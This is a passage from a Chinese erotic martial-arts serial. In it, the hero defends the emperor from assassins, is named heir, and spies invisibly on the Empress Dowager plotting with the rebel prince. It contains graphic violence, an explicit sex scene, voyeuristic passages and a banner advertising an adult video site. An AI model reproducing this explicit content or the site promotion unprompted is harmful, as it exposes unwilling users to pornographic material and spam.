★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

[武侠]欲海神龙(全)-35

  



(39)大水

那胖子大叫一声:“你们都去死吧。”突然跳起多高,大嘴一张,竟露出一
道水柱来,正打在一个侍卫的身上。水柱将那侍卫穿胸而过,侍卫登时倒地毙命。

这一下吓得众侍卫惊叫连声。那胖子趁机向皇上冲来。小驴见状,急忙让武
三郎保着皇帝先行,自己挡住那个胖子。

胖子知道小驴厉害,也不答话,一张嘴一道水射了过来。小驴连忙躲开,心
道,这是什么妖法,居然这么霸道。

这时皇上已经骑马跑了,小驴也已下了土包。那个胖子并不着急,走上土包
后大喝两声,马步蹲裆,双手按膝,张大嘴又开始吐水。这回跟刚才不同,这回
吐水竟如瀑布飞流,转眼间地上成了小溪,又变成小河,不大功夫已是汪洋一片
了。

来不及上马的侍卫都陷入水中,惊惶失措。那胖子又吐几口后,那洪水已经
追上皇上了。大浪涌来,将马推倒,皇上还算机灵,及时跳马,总算没有被马给
压住。武三郎等侍卫立刻上前营救,但见皇上与众侍卫在洪水中浮沉。

那胖子见大家狼狈的情形,得意地大笑。小驴意识到要救助皇上,主要是切
断水源。他见皇上暂时没事,还能坚持住,心里稍安。他随即又想,他要再吐几
口水的话,我们都没命了。要想冲出逆境,必须干掉这个胖子。

小驴装作被水冲倒的样子,从胖子视线内消失。胖子还以为你淹死了,得意
地笑起来,然后继续喷水。

小驴已经使出隐身术,游到胖子身后,悄悄上了土包。他握住大斧,无声地
靠近,忽然一斧向他后背砍去。他心想这斧非把你砍成两片不可,看你还怎么逞
凶。

只听怦地一声,竟然没砍进去。小驴一呆,心说,我这神斧削铁如泥,怎么
会砍不透他?是了,他身上也一定穿有什么宝贝。

这一斧虽没有砍进,那一砸的力量着实不小,震得胖子向前猛冲几步,扑通
一声趴在地上,连吐几口鲜血。

他在喷水时,需要将能量全部调动到口腔,很忌讳别人的骚扰。这一下袭击
乱了他的心神,受伤不轻。他暗暗庆幸,要不是穿着师父相送的宝衣,小命就没
了。

小驴见没有砍死他,火冒三丈,拎着斧子便冲了过来。那胖子也顾不上身上
难受,爬起来玩命地跑。

小驴眼见要追上了,那胖子叫道:“臭小子,你还敢追我,不要皇帝的命了
吗?我那水里是有毒的。”

小驴也没空判断这话的真假,见皇上跟几名侍卫还在水中挣扎,就以为大局
为重。他放弃追逐胖子,而是收起斧子,跳水中向皇上游去,也不管这水里是不
是有毒了。

一会儿,将皇上湿淋淋地救出来,让他坐在高地的石头上。小驴又跟大家去
救别人。等大家都狼狈不堪地聚齐时,发现少了一半人。不用说那些人都在水中
丧命了。

皇上叹息良久,又将衣服拧干。小驴见活着的人没有什么异样,才知道那水
里并没有毒。

休息片刻,一行人保着皇上向猎场外走去。这次打猎可好,不但东西都被冲
没了,差点连命都搭上。

武三郎介绍说,这个胖子想必就是花雨风土中的‘雨’,据说他跟风一样从
没有失过手,这一回回去肯定得气死了。幸亏张侍卫机灵,不然的话还真不好说。

皇上擦擦脸上的水,对小驴一笑,也没有说什么。他想如果自己夸奖小驴的
话,那不是等于批评众侍卫无能吗?那话就没有出口,免得让大家寒心。

大家出了猎场,经过一个小村子时,小驴跟武三郎花钱给皇上买了一匹马骑
着。这是在一个农夫家买的,幸好给皇上管钱的人还活着,背的银两并没有散失。

这马是平常用来拉车的,可不是用来骑的,因此脚程没有那么快,而且也没
有马上的一切用具,不过皇上骑马惯了,没有这些东西也能骑走。只是堂堂的皇
帝骑在这样的马上,倒失了几分威仪。这个时候已经顾不得许多了,先回到住处
再说吧。

走到半路上,从道边一棵大树后闪出一个人来。这人四十岁上下,留着一把
黑胡子,是个和尚,身披红色袈裟,手持禅杖,走路时,禅杖上的铜环哗哗作响。

他一脸的冷笑,挡住去路,冷冷的目光在皇上脸上扫视。

武三郎冲到前边,大声喝道:“哪来的野和尚,赶紧让路。”

那和尚淡淡一笑,说道:“贫僧是向各位化缘来的,各位不会连一点慈悲心
肠都没有吧?和尚可是等你们多时了。”

武三郎哼道:“你化什么缘,我们没有你要的残汤剩菜。快点闪开,不然的
话,有你好看的。”

那和尚哈哈大笑,声若洪钟,震得人耳朵嗡嗡响。他大声道:“贫僧不是来
要残汤剩菜的。”

武三郎指着和尚的鼻子叫道:“可恶的秃驴,那你想要什么呢?”

和尚一瞅皇帝,指着他说:“我要他的脑袋。”

武三郎大怒,叫道:“不要脸的秃驴,我看你是不想活了。敢对皇上无礼,
灭你九族。”说着拔出腰刀砍了过去。

那和尚拿禅杖一挡,只听铛地一声,差点将武三郎的刀给磕飞。武三郎的力
气就不小了,这和尚拿他不当回事,震得武三郎虎口生疼,就差没流出血来了。

有了这个教训,武三郎决定改变战术,不跟他硬来,而是使用巧招游斗,专
挑对方的弱处下手。那和尚也不敢大意,抡起禅杖呼呼做响,跟武三郎斗在一处。

皇上见武三郎还能支持住,就下令道:“咱们先走吧。”领着大家向前走去。
小驴瞅了瞅和尚,对武三郎说:“武队长,我们在前边等你。”武三郎被和尚缠
住难以脱身,连话都没有说出来。

小驴很想上去帮忙,但没有皇上发话,他不能随便出手。大家没走出几步,
只见从前边的树林里冲出几十人来,都是手拿兵刃,气势汹汹的,排成几排,横
在道上。

小驴上前怒道:“哪来的土匪,快点闪开,不然的话你张大爷将你们砍成饺
子馅,到时你们后悔也来不及。”

只听一声狂笑,一个人说道:“哪来的混小子,狂得够可以,本王倒要看看
你有什么神通。”随着声音,对方队伍中间一分,走出一个中年人来。只见他身
穿锦衣,气度不凡,留着短须,一双眼睛露着凶光。

皇上在马上叫道:“宁王,见了朕还不下跪吗?”

对方正是皇上的叔叔,一直想弄死他的宁王。本来他是在京城的,因为手下
人办事不利,没能将皇上消灭,他一着急,就亲自出马,铁了心的要将皇上杀掉。
皇位的诱惑力是巨大的,这个险值得冒。这个皇位他可是想了多少年了。

宁王嘿嘿一笑,说道:“你是我侄子,我是你叔叔,我凭什么给你下跪。要
跪也是你跪我。”

皇上大怒,跳下马来,指着宁王说道:“宁王,你想造反吗?”

宁王咬着牙说:“什么叫造反?这个皇位本来就是我的,是你爹太无耻,使
用不光彩的手段抢去的。”

皇上怒斥道:“那是皇爷爷传给他的,哪里是抢的。那传位诏书还在呢。”

宁王骂道:“那是狗屁,那都是假的,是你爹逼着你父皇写的,算不得数。”

皇上哼道:“跟你这种无耻之徒没有什么好说的。你今天想怎么样?跟我决
一死战吗?”

宁王抱着膀,突然露出同情的眼神,说道:“咱们毕竟是一家人,好歹你也
是我的亲侄子,我很不想咱们自相残杀。我看不如这样,你写一封退位诏书,去
享轻福吧。其他的事由我来办。这样既解决了皇位问题,又不伤咱们的亲情,你
何乐而不为呢?再说你没有儿子,这个皇位迟早是我的,对吧?”

皇上一笑,说道:“你这是白日做梦。朕还活着,朕不需要退位。天下需要
朕,百姓需要朕。朕还要为我们朱家多做些事,多出点力。”

宁王冷笑道:“你现在是活着,不过你中了铁砂掌,伤了心脏,你还能活几
个月呢?要不是看在咱们一家人份上,你早被铁砂掌打死了。”

皇上惨然一笑,叹息道:“果然是你下的手,你的心可真毒呀。”

宁王双臂一扬,大叫道:“我只是想拿回我要的一切,我有什么不对呢?”

皇上沉声说道:“那朕告诉你,就算是朕死了,你也当不成皇帝。”

宁王哼道:“还有谁敢跟我争夺皇位?”

皇上笑了两声,说道:“朕已经找到亲兄弟了,一到京城,朕马上下旨,立
他为皇太弟。你永远也得不到这个皇位。”

宁王叫道:“那不可能,那不可能的,这么多年过去了,你怎么可能找得到
他。那你说,他在哪里呢?”

皇上得意地一笑,说道:“你倒睁大眼睛看看,看看哪个人象我们朱家人。”
说着目光瞅瞅这帮手下。

宁王剑一般犀利的目光在众人脸上一一扫过,看到谁时,谁都心慌的低下头
去。当他看到小驴时,小驴没有低头,反而冲他嘻嘻笑,象个小无赖一样。

宁王又重新把目光在众人脸上一扫,最后盯住小驴,沉吟着说:“难道这小
子就是你兄弟?”这个人的强硬态度跟他的相貌都令他想起他的父皇来。

皇上哈哈大笑,说道:“你果然有眼光,他就是朕的亲兄弟,就是朕的继承
人。这回你不用再做什么皇帝梦了吧?”

宁王表情变幻不定,喝道:“这个可能是假冒的。”

皇上说道:“你不用强词多理了,看在咱们一家人的份上,朕不要你的命,
回你的封地上去反省吧。”

宁王双眉一扬,大叫道:“今天有你没我,有我没你。你们想回京城,那是
做梦。”向身后一挥手,咬牙切齿地说:“给我通通杀光,一个不留。谁能杀掉
狗皇帝,我封他为大将军。”

一听说话,他身后的人大呼小叫的,如狼似虎般扑了上来。

不用皇上发话,那些侍卫也冲了上去。明知道自己人少难以抵挡,也都奋勇
向前。双方一交上手不久,皇上这面就明显处于劣势。

小驴心说,擒贼先擒王,只要抓住这个宁王,别人就不在话下。小驴低声问
道:“皇兄,让我来除掉他吧。”

皇上没等说话,宁王吱声了,说道:“皇上,你要是我朱家的子孙的话,你
就跟我比划一下,看看谁的本事更高。”

皇上怒道:“难道朕还会怕你这个反贼不成。”

宁王哈哈一笑,说道:“谁是贼,谁是王,那就要看结果了。”说着拔出宝
刀。皇帝也不示弱,跟小驴说道:“兄弟,你给朕观战。”拔出宝剑冲了上去。

宁王笑道:“总算你有种,来吧,看我怎么砍死你的。”几步冲上来,举刀
就砍。皇上舞剑相架,铛一声,兵刃各自分开,都没有损伤,可见手里都是宝物。

皇上怒骂着,又冲上去。几个回合过去,小驴见宁王力大刀沉,皇上剑术灵
活多变,一时之间倒也难分高下。

小驴预感到皇上没事,就掏出大斧杀向宁王那些死士。这时地上又倒了不少
尸体,双方的人都有。小驴知道这个时候强者为王,不能手软,抡开斧子,如同
虎入羊群,只听扑通扑通尸体倒地的声音。

众侍卫们见小驴如此神勇,都精神大振,转眼间皇上这边占了上风。皇上冷
眼旁观十分满意。他的剑使更快了,急切地盼望一剑将对方刺个透心凉。而宁王
又何尝不希望一刀砍掉皇上的脑袋呢。

双方打得正热闹呢,只听一声大喝,后边一人走了过来。小驴一瞅,居然是
那个和尚,手里还拎着一个人,被绑得结结实实的,可不正是武三郎嘛。

和尚将武三郎扔到地上,自己持禅杖奔皇上来了。小驴一见,赶紧跑过去截
住他的去路。和尚叫道:“小子,如果贫僧看得不错的话,狗皇帝手下顶数你厉
害吧?”

小驴横斧一笑,说道:“那厉害的你还没有见到呢。以你的身手,不配厉害
的出手。”说着话一招力劈华山,狠狠砍下去。

和尚举禅仗一架,只听怦一声,虽没有砍断,却砍出一个缺口来。和尚惊叫
道:“小子,你好大的力气。”抽回禅杖,横扫小驴的中路。小驴举斧一挡,就
势斧头一滑,向和尚手腕砍去。

和尚向上一挑,迅速地扎向小驴的胸口。二人各展平生本领,战于一处。小
驴见这和尚了得,自己不论使什么招数他都能化解,不由大惊,好厉害的和尚,
真是我的劲敌呀。

他灵机一动,心说我何不使出隐身术呢,非切掉你这和尚的驴头不可。心里
想着,念动口诀,身子突然消失了。和尚一愣,随即哈哈大笑,说道:“小子,
你这招在我眼前不好使。”说着话身子后退几步,运起神眼功来,小驴的身影立
刻就暴露出来。

这时小驴正向他腿上削去,和尚一跳,躲过的同时,抡起禅杖向小驴的头上
砸去。小驴很意外,想不到他竟然有这等本事,当下也不能大意,打消速战速决
的念头,跟和尚缠斗起来。

现在局面对皇上这边很不利,地上的尸体越来越多。而宁王和皇上斗得越来
越激烈,竟然不分高下,刀来剑往,腾挪跳动,实力相当,脸上都见汗了。

小驴暗暗心惊,暗道,他们人多,如果这么打下去的话,我方不得被一网打
尽呀。我要跑倒不算难,可皇兄怎么办呢?得想个法做掉这和尚才是。

打着打着,小驴装作立足不稳,摇摇欲倒的样子。和尚见了大喜,猛劲向小
驴砸去。这一下用力很大,哪知小驴摇而不倒,突然向旁一闪,和尚身子前探,
重心前倾。小驴暗叫,好,等的就是这一招。飞起一脚,将和尚踢个狗吃屎,随
即大斧也跟了上去。

和尚象一个球一样滚来滚去,险象环生。一个死士见了,赶紧上前相救。小
驴两斧就将他劈死。

趁这个工夫,和尚从地上爬起,也不顾脸上的灰尘了,抡兵刃就扑。和尚气
坏了,深感耻辱,摆出一副拼命的架势。小驴虽然知道这人难缠,一时间却也没
有太好的法子。他也后悔,刚才为何不用斧子劈他,用什么脚呀,脚又踢不死他。

这么一来,场上的局势仍然没有什么大的变动。众侍卫们有的一对一,有的
一对二,都顽强杀敌,都知道今天不玩命的话,难以摆脱恶运。有的一身是血,
还在拼命厮杀。有的断了几个手指,仍跟敌人咬着牙干。场上骂声,叫声,打斗
声,兵器相撞声不绝于耳,声音传出多远。

小驴心急如焚,心说,不行的话我就得叫流云姐了,可是这和尚又缠着我不
放,我哪有机会掏宝石呢?这可如何是好呢?

正拿不定主意,只听前方传来一阵马蹄声,有人叫道:“小驴别急,我来救
你了。”小驴一看,却是云花率领一队骑兵跑来了。


(40)太后

云花领着百余名官兵杀来了。这些官兵虽然武功不算高但都训练有速,来的
还正是时候。双方杀得正是最关键的时刻,云花这一来,立刻使皇上这方士气大
振。宁王手下那伙死士被百余名官兵一冲击,哪里还有斗志呀,纷纷后退。

宁王一见,立刻跳出圈外,大叫道:“狗皇帝,改天再找你算帐。”说着话
向和尚一使眼色,和尚便退了下来。宁王领着残兵败将一阵风的跑了。

小驴过来一查名人数,侍卫只有十二三名了,而且都挂了彩的。小驴过去拉
着云花的手,一脸的感激。云花推开他的手,说道:“快去看看皇上。”小驴这
才去问候皇上。

皇上拉着小驴的手,说道:“看来朕每天都不能没有你呀,今天你要不在,
朕这个皇位就算没有了。”

小驴安慰道:“皇上洪福齐天,就算没有小驴,也必能平安脱身。”

随后皇上看望伤者,见了那些倒地的侍卫们不禁掉下眼泪。众人见了大为感
动,都觉得为皇上丢了性命也是值得的。

一行人回到住处,皇上命人照顾伤者,并找丈夫来看。还对随行的人们都给
了奖赏。大家心里自然大为高兴。

晚上皇上赐大家以上好的酒食,凡是能吃能喝的,当晚都尽欢而散。小驴刚
回屋坐下,皇上就亲自来了。

云花怕有私语要说,自己便回避里屋了。皇上手里拿着一件东西,打开一看,
象是圣旨一类的东西。小驴指着东西问道:“皇兄,这是什么?是给我的吗?”

皇上将东西放在桌子上展开,点头道:“不错,这是给你的。”

小驴瞅着上边字发蒙,说道:“皇兄,这上边写的是什么呀?”

皇上冷静地回答道:“这是即位诏书,是要把朕的皇位传给你。”

小驴大惊,不安地说:“皇上,你年纪还轻,怎么能退位呢?”

皇上一笑,说道:“这只是防止意外的。朕不是现在就把位子给你,而是说
如果朕一旦有什么不测,就由你即位。让百官都拥护你,让大臣们都忠心办事。”

小驴拉着皇上的手说道:“皇上,由我保着你呢,你会长命百岁的。”

皇上心里一酸,说道:“有你这一句话,朕什么都不怕了。好了,你今日也
辛苦了,早点休息吧,不明白的,你可以看诏书。”说着话,皇上起身出门,小
驴送到出去。外边的侍卫接着,一行人走了。

小驴回屋,对着摊在桌上的诏书发呆。云花从里屋出来,问道:“小驴,你
看什么呢?这么认真?你认识字吗?”

小驴傻笑两声,将她招到身边坐下,说道:“云花姐,快帮我看看,这写的
都是什么。”

云花看了一眼,惊呼一声,低声道:“这种东西还是拿到里屋看的安全。”
说着话云花还推开门往外瞅瞅,见四处鸦雀无声,这才关上门插上。

小驴笑了,说道:“看你那份小心的样儿,有那么可怕吗?”

云花嘘一声,说道:“还是小心为妙,快跟我进卧室。”小驴卷起诏书跟她
进了里屋。

两人坐在床沿上,云花一字一句地读了,小驴认真地听着。这果然是一封诏
书,内容跟皇上说的近似,只是更为详细,严密。

当云花读完之后,小驴还拿过来自己又仔细瞅了瞅,好象他认字一样。云花
抢过来,说道:“别看了,再看也都是那一个意思。”说着很小心地放入自己的
包袱里。小驴叮嘱道:“一定得收藏好,这件东西关系到皇位的大问题。”

云花放好东西,双臂缠住小驴的脖子,微笑道:“小驴,你现在可牛了,很
可能你就是未来的皇帝。”

小驴摇头叹道:“也很有可能,我明天就丢了小命。”

云花嘻嘻笑道:“那是绝对不会的。你是福大命大造化大,你争取活到千年
以上呀。”小驴哈哈一笑,在云花的胸上捏了一把,说道:“你这是在骂我王八
呀。”

云花被捏得啊了一声,说道:“我哪有那意思呢,你干嘛捏得这么重,是不
是怕咱们那么快分离呀。”

小驴点点头,说道:“可不是吗?京城很快就到了,咱们的日子也快到头了
吧?你就不能狠心点,甩了他,一生都跟我好。”

云花在小驴的脸上连亲了几口,幽幽地说:“原来我也想过离开他跟了你,
现在一想,我是绝不能跟着你的。”

小驴皱眉道:“我什么地方得罪你了,你对我这么大意见?”

云花翘翘嘴,说道:“现在还没有,不过你以后要是真当了皇上,那还了得?
后宫的女人还不成千上万的,我要是跟你,要多久才能轮到我陪你呀。”

小驴笑起来,说道:“原来你是在吃醋呀。我心里真是好喜欢你呀。你吃醋
的样子真好看。”

云花扭过头,说道:“只怕你也看不了多久了。”

小驴忽然将云花推倒在床上,说道:“那我现在就看个饱。”说着话,给云
花宽衣解带,很快一具曲线玲珑,香气扑鼻的玉体就展现在小驴眼前。

小驴咽了几口口水,特意拿蜡烛照着看。云花羞得把美目都闭上了,嘴里老
大不满:“小驴呀,快把灯拿开,有什么好看的,你不都看了几百遍了吗?我都
快老了。”

小驴的目光在云花的每一寸肌肤上扫视着,一边看一边赞叹:“你长得真好,
我可真是艳福不浅。如果你能陪我一辈子,我小驴就是少活十年我也是愿意的。”

云花嘟囔着:“你现在说的这么好听,只怕你以后真当了皇帝,你早就把我
忘到脑后去了。”

小驴放下蜡烛,说道:“这个皇位我不想要了。”

云花一听,睁大美目,一骨碌坐了起来,问道:“这可是天大的美事呀,你
怎么会不要了。”

小驴说了自己的想法:“这个皇位不是自己凭本事争来的,而是别人给的,
实在没什么意思。”

云花微笑道:“你真是个孩子。我来告诉你,凡是凭本事争来的,不是反贼,
就是开国皇帝,以你的本事想当开国皇帝,那是不可能的。”

小驴说:“我知道自己的分量,也觉得自己当不了什么皇帝。皇兄真要把皇
位给我,我真怕会害了天下百姓。”

云花吃吃笑道:“你要不想当的话,不如让给我好了。我也学学武则天,当
一把女皇,尝尝那是啥滋味儿。”

小驴坐下来,手摸着她柔软的胸膛笑道:“你又来胡说了。如果真叫你当了
女皇,你可能就没有那么快活了。”

云花享受着男人的抚摸,美目变得水汪汪的,嘴上说:“你没有当过,你怎
么知道就不快活呢?”

小驴深吸了几口气,说道:“我看我皇兄这个皇帝当得也并不怎么快乐。”

云花美目斜视着小驴,一只玉手按在小驴摸胸的手上,娇声道:“小驴呀,
别想那么多了,咱们睡吧。”

小驴答应一声,翻身便压在云花身上,没过多一会儿,便把翘起的肉棍子捅
了进去。他的实力相当雄厚,杀得云花恋恋不舍,将小驴缠得紧紧的,仿佛小驴
是一片羽毛,随时都人被风吹走一样。

三天后的下午,皇上领人进入京城。他没有大张旗鼓,而是悄悄入城。他没
有立刻入宫,而是先驻扎在梦春园。梦春园是皇上游玩的地方,偶尔也在那里召
见重要的大臣。

这回一到梦春园,皇上就把几位内阁大臣,各部尚书,以及其他一些重要人
物召到园林中来。这些大臣想不到皇上突然回来并召见,都身穿官服匆匆赶来。

皇上这时也换上龙袍,由小驴及几名贴身侍卫的陪伴下坐在偏殿的一把椅子
上。大臣们到来之后,先后磕过头,说了些奉承话。等这一切过后,皇上将小驴
介绍给大家,并宣布了他的身分。

一时间大家都把目光对准小驴,小驴这时也穿上侍卫的衣服,显得很是威风。
按照皇帝的吩咐,跟大家打了招呼。群臣知道这位就是未来的继承者,都纷纷夸
奖小驴人才出众。小驴长这么大,从来没有被人这么夸过。

闲话过后,皇上指定内阁拟定一份诏书,要告诉天下所有人,皇上找到亲兄
弟了,如果自己一旦发生意外,由弟弟继承大统。

同时也让内阁拟定一份圣旨,是怒斥宁王的,将他们的罪行公布于天下,并
发出追捕令,全国通辑。

皇上让他们明天早朝拿出草稿来。又说了一此闲话后,皇上让大臣们离开。
办完这些事,皇上问小驴可有什么不妥?小驴回答道:“皇上正当壮年,准能生
了出不少儿子,小驴我还是当你的大臣吧。”

皇上不以为然,说道:“你怎么又来了,朕说过以防万一。”

小驴提醒道:“皇兄,这里可是京城,谁敢动你一根毫毛呀。”

皇上摇头道:“那也不尽然,朕虽然不知道谁对朕不利,朕总觉得心惊肉跳,
好象有什么事要发生。可朕又想不出危险来自何方。”

小驴勇敢地说:“有什么危险的话,让兄弟我来替你挡着吧。”

皇上笑了笑,说道:“对了,小驴,你跟朕进宫一块儿去见太后吧。”

小驴想了想,说道:“皇兄,我不是改日见她吧,我什么都懂,我怕会失态
的。”

皇上说道:“那好吧,你明天再进宫,朕先跟她说一声。”

说了一会儿闲话,皇上要回宫了,让小驴就住在这里。临走时嘱咐他,明天
早朝一定要到,还给小驴留一块进宫的腰牌。

皇上一走,偌大的一个园林里,除了外边的守兵和一些宫女外,就只有小驴
跟云花了。二人坐在房里,云花问道:“这回高兴了吧?皇位转眼就到手。”

小驴淡淡一笑,说道:“没什么好高兴的,我觉得皇兄脸色不好。”

云花猜测道:“想是他身体没有完全复原。”

小驴沉吟道:“不是的,我瞧他心里好象有什么心事一样,却没有跟我说。”

云花说道:“你不放心的话,晚上就进宫去看他,反正你手里有腰牌。”小
驴点点头。他心说,也对呀,我可以使用隐身术,到皇宫里走一圈,只是我不熟
悉皇宫,只怕会进了去,出不来。听说里边的宫室就有近万间,要是没有领路的,
只怕还真危险。

晚饭后,小驴告别云花,向皇宫行去。小驴不知道皇宫的位置,云花却知道。
云花一说,小驴就很准确地找到宫门。

小驴瞅瞅灯光照耀的大门,那门正关闭着。旁边的一个小门却开着。小驴瞅
瞅门口侍卫,也没有几个人。小驴使起隐身术,轻手轻脚地往里走。

他有心要试试这隐身术好不好使,就在进门时有意在其中一个侍卫的脚上踩
了一下,那侍卫叫了一声,回头看看同伴,怒道:“你干嘛踩我脚?”同伴也大
声道:“胡说,我根本就没有踩。”二人正争论着,里边出来一人,二人一见,
立刻老实了,原来此人是马老二。

笑文也无心理会此事,大模大样地往里就进。进了皇宫之后,只觉得这简直
是一个迷宫,往哪里去也不知道。他只管往里乱走,一队队卫兵从身边经过,没
有一个人看到小驴。小驴大为得意,心说,这个法子多好呀,既能达到目的,又
没有跟人打斗。这法子好象比我的神斧更有用呢。

转了半天,走得累了,靠在一个栏杆上休息。这时听一个太监的声音在那边
叫道:“怎么还没有来,再不来的话,太后可要发脾气了。”

小驴心道,难道那边是太后的寝宫吗?我找不到皇帝,找到太后也行,让我
看看这太后到底是什么德性。一想到太后,小驴眼前立刻浮现出一个一脸皱纹的
老太婆。那么大年纪的人,自然没有什么可看的了,要是皇后嘛,那可不得了,
一定是全国第一的美女。不过就算是皇后的话,我也不能乱看,那可是皇嫂。

小驴进了那个宫室,曲曲折折来到内室。一进门,只见一个女人正坐在梳妆
台前发呆。她是背对着小驴的。只见她珠翠满头,身穿华丽衣服,身材是丰腴而
美好的,可以想见,这人年纪必定不大,也一定长得不错。

小驴见旁边靠墙有把椅子,便悄悄过去坐了。他不知道这女人是谁,不过怎
么也不会是太后吧?太后哪里会这么年轻。

那女人这时叫道:“小德子,人参汤到了没有呀?”

一个太监的声音回答道:“回太后,这就来了。”正是刚才那太监的声音。
小驴一听这女人是太后,大感意外,真想不到太后竟是这般年轻。又一想,也许
她只是身材年轻,可能脸蛋早跟桔子皮一样难看了。

“太后,人参汤来了。”随着尖尖的声音,一个胖乎乎的小太监满脸堆笑地
端着一个碗走了进来。

太后仍没有回过头来,哼了一声,说道:“放桌上吧。”小德子答应一声,
将一碗飘着热气的汤稳稳地放在桌上。

太后慢慢转过头来,小驴一下子看到她的脸了。这哪里象太后呀,要说皇后
还差不多。只见她长着一双黑色分明的桃花眼,两条眉毛细细弯弯的,两腮晕红
而圆满,红唇线条很美。从脸蛋上看,最多三十出头。这样的女人竟然是太后,
小驴的嘴张得老大。

太后莲步姗姗,没一点老态。她的每一步,每一下动作,都是都显得那么年
轻而诱人。小驴瞪大眼睛瞅着美女,对她那高高的胸脯忍不住心里直痒。

她在走动时候,胸部一颤一颤的,小驴只觉得自己的心也跟着颤,颤得还挺
厉害呢。小驴不禁乱想到,这样的女人要是能摸上几把岂不是过瘾吗?她真是一
流的美女,只是脸上有了几分傲慢跟冷漠。这可能就是太后应有气质跟内涵吧?

太后坐在桌旁,持小勺一小口一小口地喝着汤,双眉微皱,问旁边弯腰的小
德子:“今天这汤怎么来得这么慢呢?”

小德子恭敬地回答:“回太后,是皇上临时让做几个菜,只好可他那头先来
了。”

太后哦了一声,又问道:“皇上不是吃过了吗?怎么又要吃东西?他在干什
么呢?他没有跟皇后在一起吗?”

小德子回道:“太后,皇上他根本没有去见皇宫的女人,而在跟他带回的那
个姑娘在一起。”

太后哼了哼,放下勺子,说道:“那个丫头有什么好的,土里土气,一点规
矩都没有,那些妃子哪个不比她长得好呀,皇上怎么会看上她?一个乡下小丫头,
永远都不会有什么出息。”

小德子在旁边附和道:“太后言之有理。”

太后吩咐道:“你派人去查查这丫头的来路,可别叫坏人混进宫里来。”小
德子答应一声。

太后象突然想到什么事一样,说道:“没什么事了,你出去吧。把门通通关
上,我想休息了。”小德子连声答应着,转身出门了。

小驴在旁窃喜,心说,她要睡觉了吗?她要脱衣了吗?那太好了,俺小驴要
大饱眼福了。今晚没找到皇上,也总算没有白来。

小驴睁大眼睛,等着太后的下一个动作。



(41)奸情

太后没有马上就脱衣服,而是出房去挨个门瞅瞅,并把每道门插上。小驴随
后跟着,心道,这太后心够细的,外边守卫那么严,她还是不够放心。

太后在桌前又坐了一会儿,一双美目扫视着屋地,喃喃地说:“他怎么还不
来呢?怎么还不来?莫非他有了什么急事吗?”小驴这才明白,她好象是在等什
么人呢。怪了事了,你把所有的门都插死了,难道你让他从窗户进来不成。

小驴见太后只盯着地乱瞅,心道,难道你等的人也会土遁不成?你等的是男
人还是女人?女人倒也罢了,如果是男人的话,嘿嘿,也许是在给先皇戴绿帽子
呀。

太后瞅了半天见没有动静,再也坐不住了,在屋里踱着步,显示出心里的焦
急和担忧。不过一杯茶的时间,只见一块屋地忽然隆起,一个人跳了出来。太后
一见,便扑了上去,并娇嗔道:“你怎么才来,我都要急死了。”

那人拍拍太后的大屁股,笑道:“才几天不见,你就发骚了吗?”太后象小
女孩一样用粉拳拍打他几下。

那人也不说话,抱着太后向床上走去。小驴这时看清了那人的脸,愣了一愣,
竟然是皇上的死对头:皇叔宁王。

一见到他,小驴气不打一处来。我皇兄之所以烦恼很多,主要原因就是因为
你这家伙有造反之心。我不如借这个好机会把你干掉,也让皇上以后每天都能睡
个好觉。不过现在不忙着下手,太后既然跟你勾搭成奸,且看看她有没有参与你
的谋反活动。

二人坐在床沿上,宁王发着牢骚:“惜柔,都怪你不好,我说过多少回了,
要把那小子直接杀掉,你就是不听。现在可好,我这回成了过街老鼠了。我都不
敢公开上大街。”

太后解释道:“我也不是不想杀掉皇上,可是你也不是不知道,他在朝中很
得人心的,大臣中得有一半对他的话言听计从,咱们就算杀了皇上,这些大臣不
支持咱们的话,咱们也坐不稳那个位子。”

宁王气得一拍床,说道:“这就怪你了。如果你早点动手的话,何来今天的
后患?真不明白,你对他妈可以下手,为何对她儿子下不了手。”听到这话,小
驴心里一痛,难道我亲妈是她杀的吗?

太后叹息道:“他是我亲眼看着长大的,总有点舍不得。”

宁王瞪眼道:“就因为你的舍不得,我的皇位才至今没有到手。现在他羽翼
丰满,我想制他都难了。”

太后哼道:“为何总叫我动手?你手下人那么多,杀他还不容易。”

宁王喘息着说:“要不是我心里没有把握控制住局势,我早就将这皇帝杀掉
了。这回在他回来的路上,我下定决定要杀他了,结果又冒出个张小驴来。这小
子多次坏我的大事,我一定要把他剁成肉馅。”说到这儿,脸上肌肉抖动,显然
恨小驴恨得不得了。

小驴见了暗笑,心说,你这个狗东西,想把我剁成肉馅,哪有那么容易,找
机会我先剁你吧。如果我亲妈确实是你们害的,我一定不会放过你们的。

太后倚在宁王肩上,柔声问道:“王爷,这个张小驴到底是什么来头?真象
皇上说的是他亲兄弟吗?”

宁王问道:“皇上没有跟你说吗?”

太后回答道:“已经说了,说是他失散多年的亲兄弟,谁知道真假呢。”

宁王恨恨地说:“想必假不了,我见过他了,他长得跟我父皇很象,跟你的
死鬼老公也有一半相似。跟皇上也有象的地方。我看他第一眼,就知道是他兄弟。”

太后哦了一声,惊呼道:“他真的还没有死?”

宁王咬牙说:“这就要问你了?你当初为何不斩草除根呢?我要你亲手杀掉
他,你却让太监动手。那太监把孩子又交给了宫里的一个侍卫,那侍卫把孩子抱
出宫外。我派人追杀,虽把他打成重伤,可还是让他给跑了。我的人发现了那侍
卫的尸体,可孩子却没有了。这就是你留下的后患。你总是不听我的话。”

太后一脸的惊慌,说道:“那么点儿孩子,我就是下不了手。”

宁王怒道:“你下不了手,可有一天他要杀你我时,只怕连眉头都不会皱一
下的。”

太后叹道:“自从毒死先皇后,我的心里一直不舒服。经常梦见她向我讨命,
我都要怕死了。她生前待我跟姐妹一样,我却害了她。”

宁王骂道:“你怕个屁,她要讨命只管来找我好了。是我叫你干的,就算你
不干,我也会找别人。”

太后问道:“你为何不直接毒死先帝,而要先毒死皇后?”

宁王得意地一笑,说道:“这个你都不明白吗?你想呀,他夺了我的皇位,
我心里那么恨他,如果一下弄死他,岂不是便宜了他吗?他最爱那个女人,我就
把她先弄死,让他慢慢心痛而死,那不是更好吗?我看着心里痛快。”说到这儿
笑出声来。

小驴见了大怒,心说,你这个家伙也够歹毒了,先皇是你亲兄弟,你有没有
人性呀。找机会,我也得好好收拾你,给我父母报仇。

太后说道:“听说张小驴的本事很大呀。”

宁王一脸忧色,说道:“那小子手持一把大斧,连我手下的金杖和尚都难以
抵挡,是个劲敌呀。这还不是最可怕的,最可怕的是他要跟我抢皇位。皇上已经
明说了,说他要是发生不测的话,皇位就是他的。他妈的,一个要饭小子怎么能
